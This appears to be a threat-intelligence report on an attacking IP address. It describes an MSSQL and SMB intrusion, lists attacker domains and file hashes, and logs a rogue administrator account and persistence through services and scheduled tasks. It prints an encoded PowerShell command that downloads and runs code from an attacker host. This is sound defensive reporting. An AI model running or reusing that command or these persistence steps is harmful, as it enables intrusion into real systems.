IP Address: 188.129.136.215Previously Malicious

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IP Address:
188.129.136.215​
Previously Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL

Tags

Persistency - Logon DNS Query Service Configuration Successful SMB Login Download and Execute IDS - Attempted User Privilege Gain Service Stop Successful MSSQL Login Scheduled Task Creation MSSQL Access Suspicious Domain User Added to Group Outgoing Connection Service Start Execute MsSql Shell Command Service Deletion User Removed Listening Port 445 Scan PowerShell User Created SMB SMB Share Connect Service Creation Download File CMD

Associated Attack Servers

oo.beahh.com pp.abbny.com ii.haqo.net o.beahh.com linode.com jsonip.com i.haqo.net ip.42.pl 42.pl p.abbny.com

45.79.77.20 79.98.145.42

Basic Information

IP Address

188.129.136.215

Domain

-

ISP

Magticom Ltd.

Country

Georgia

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2019-04-21

Last seen in Guardicore Centra

2019-06-29

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : sp_password - password change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: White List

Successful MSSQL Login

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: Previously Approved User

Successful MSSQL Login

MSSQL executed 1 shell commands

Execute MsSql Shell Command

User k8h3d was created with the password *********** added to groups: Administrators and logged in using SMB

User Created User Added to Group Successful SMB Login

A user logged in using SMB with the following username: k8h3d - Authentication policy: Correct Password 4 times

Successful SMB Login

c:\windows\system32\services.exe installed and started %systemroot%\sbskyess.exe as a service named rfVZ under service group None

Service Start Service Creation

The file C:\Windows\sBskyess.exe was downloaded and executed

Download and Execute

c:\windows\guiwcg.exe was downloaded

Download File

C:\Windows\temp\tmp.vbs was downloaded

Download File

Service rfVZ was stopped

Service Stop

The file c:\windows\syswow64\drivers\svchost.exe was downloaded and executed 3 times

Download and Execute

c:\windows\temp\ttt.exe set the command line c:\windows\SysWOW64\wmiex.exe to run using Persistency - Logon

Persistency - Logon

c:\windows\system32\services.exe installed and started c:\windows\syswow64\wmiex.exe as a service named WebServers under service group None

Service Start Service Creation

The file c:\windows\syswow64\wmiex.exe was downloaded and executed 2 times

Download and Execute

Process netsvcs Service Group started listening on ports: 65531, 65532 and 65533

Listening

The file C:\Windows\temp\svchost.exe was downloaded and executed 4 times

Download and Execute

The file C:\Windows\Temp\_MEI6482\_ctypes.pyd was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

The file C:\Windows\Temp\_MEI6482\_socket.pyd was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

The file C:\Windows\Temp\_MEI6482\_ssl.pyd was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

The file C:\Windows\Temp\_MEI6482\msvcr90.dll was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

The file C:\Windows\Temp\_MEI6482\select.pyd was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

The file C:\Windows\Temp\_MEI6482\win32api.pyd was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

The file C:\Windows\Temp\_MEI6482\pywintypes27.dll was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

Process c:\windows\temp\svchost.exe started listening on ports: 60124

Listening

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\Bluetooths

The command line C:\Windows\bcZf.exe was scheduled to run by modifying C:\Windows\System32\Tasks\bcZf

The command line c:\windows\gUIwCg.exe was scheduled to run by modifying C:\Windows\System32\Tasks\HcISemB

Process c:\windows\syswow64\wmiex.exe attempted to access suspicious domains: ii.haqo.net, oo.beahh.com and pp.abbny.com

Access Suspicious Domain DNS Query

The command line cmd.exe /c c:\windows\SysWOW64\wmiex.exe was scheduled to run by modifying C:\Windows\System32\Tasks\WebServers

c:\windows\temp\setupinstalled.exe set the command line c:\windows\SysWOW64\drivers\svchost.exe to run using Persistency - Logon

Persistency - Logon

c:\windows\system32\services.exe installed and started c:\windows\syswow64\drivers\svchost.exe as a service named Ddriver under service group None

Service Start Service Creation

Process c:\windows\temp\svchost.exe started listening on ports: 60124

Listening

Process c:\windows\syswow64\drivers\svchost.exe started listening on ports: 65533

Listening

The command line C:\windows\temp\svchost.exe was scheduled to run by modifying C:\Windows\System32\Tasks\DnsScan

The command line cmd.exe /c c:\windows\SysWOW64\drivers\svchost.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Ddrivers

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

Process c:\windows\syswow64\drivers\svchost.exe attempted to access suspicious domains: i.haqo.net, o.beahh.com and p.abbny.com

Access Suspicious Domain DNS Query

The file C:\Windows\bcZf.exe was downloaded and executed 2 times

Download and Execute

Process c:\windows\bczf.exe started listening on ports: 60124

Listening

Process c:\windows\system32\wbem\wmiprvse.exe attempted to access suspicious domains: _ldap._tcp.dc._msdcs.SERVER-BACKUP

Access Suspicious Domain DNS Query

Process c:\windows\temp\svchost.exe attempted to access domains: ip.42.pl and jsonip.com

DNS Query

Process c:\windows\temp\svchost.exe generated outgoing network traffic to: 192.168.0.10:445, 192.168.0.11:445, 192.168.0.12:445, 192.168.0.13:445, 192.168.0.14:445, 192.168.0.15:445, 192.168.0.16:445, 192.168.0.17:445, 192.168.0.18:445, 192.168.0.19:445, 192.168.0.1:445, 192.168.0.20:445, 192.168.0.21:445, 192.168.0.22:445, 192.168.0.2:445, 192.168.0.3:445, 192.168.0.4:445, 192.168.0.5:445, 192.168.0.6:445, 192.168.0.7:445, 192.168.0.8:445, 192.168.0.9:445, 45.79.77.20:443, 45.79.77.20:80 and 79.98.145.42:80

Outgoing Connection

Process c:\windows\temp\svchost.exe scanned port 445 on 22 IP Addresses

Port 445 Scan

Connection was closed due to timeout

Associated Files

\\server-backup\c$\zilnbirc.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes

C:\Windows\zrpeIdXH.exe

SHA256: 45176261a7362c49abe4c3e668235e206e8bad44f66d428caf9d9e5118d83210

6271280 bytes

c:\windows\yysdgbt.exe

SHA256: 7d317cb1ee2c6afabe13387f240f330773dc2f107ce93b32214596bafc694cbb

12662440 bytes

C:\Windows\temp\upinstalled.exe

SHA256: bdbfa96d17c2f06f68b3bcc84568cf445915e194f130b0dc2411805cf889b6cc

201776 bytes

C:\Windows\Temp\ttt.exe

SHA256: b771267551961ce840a1fbcd65e8f5ecd0a21350387f35bbcd4c24125ec04530

73776 bytes

C:\Windows\Temp\_MEI6482\_ctypes.pyd

SHA256: 11c739d28227773d70c3941d2e979b9d4cee12f1d53cc94daf77b62a4d3a0327

73216 bytes

C:\Windows\Temp\_MEI6482\_socket.pyd

SHA256: f0781a1b879584f494d984e31869eab13f0535825f68862e6597b1639df708bd

40960 bytes

C:\Windows\Temp\_MEI6482\_ssl.pyd

SHA256: ea0efcab32e6572f61a3c765356e283bd6a8f75ec2a4c8b12f1fb3db76ca68d4

721408 bytes

C:\Windows\Temp\_MEI6482\msvcr90.dll

SHA256: 8e7fe1a1f3550c479ffd86a77bc9d10686d47f8727025bb891d8f4f0259354c8

653136 bytes

C:\Windows\Temp\_MEI9202\select.pyd

SHA256: 385e7a3cf5dd7b65590b064e7bc09f901db7ddc8542396af6bb60048a30993f0

11776 bytes

C:\Windows\Temp\_MEI6482\win32api.pyd

SHA256: ff781837e47a42d7dee3d42854b6d66d73cfbc032c47c9620821b737a82800af

100352 bytes

C:\Windows\Temp\_MEI9202\pywintypes27.dll

SHA256: 241ecbd87410e9b23339d494f9eca7ddf8083472661989f489fdd7fe0b8776b4

110080 bytes

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IP Address: 188.129.136.215​Previously Malicious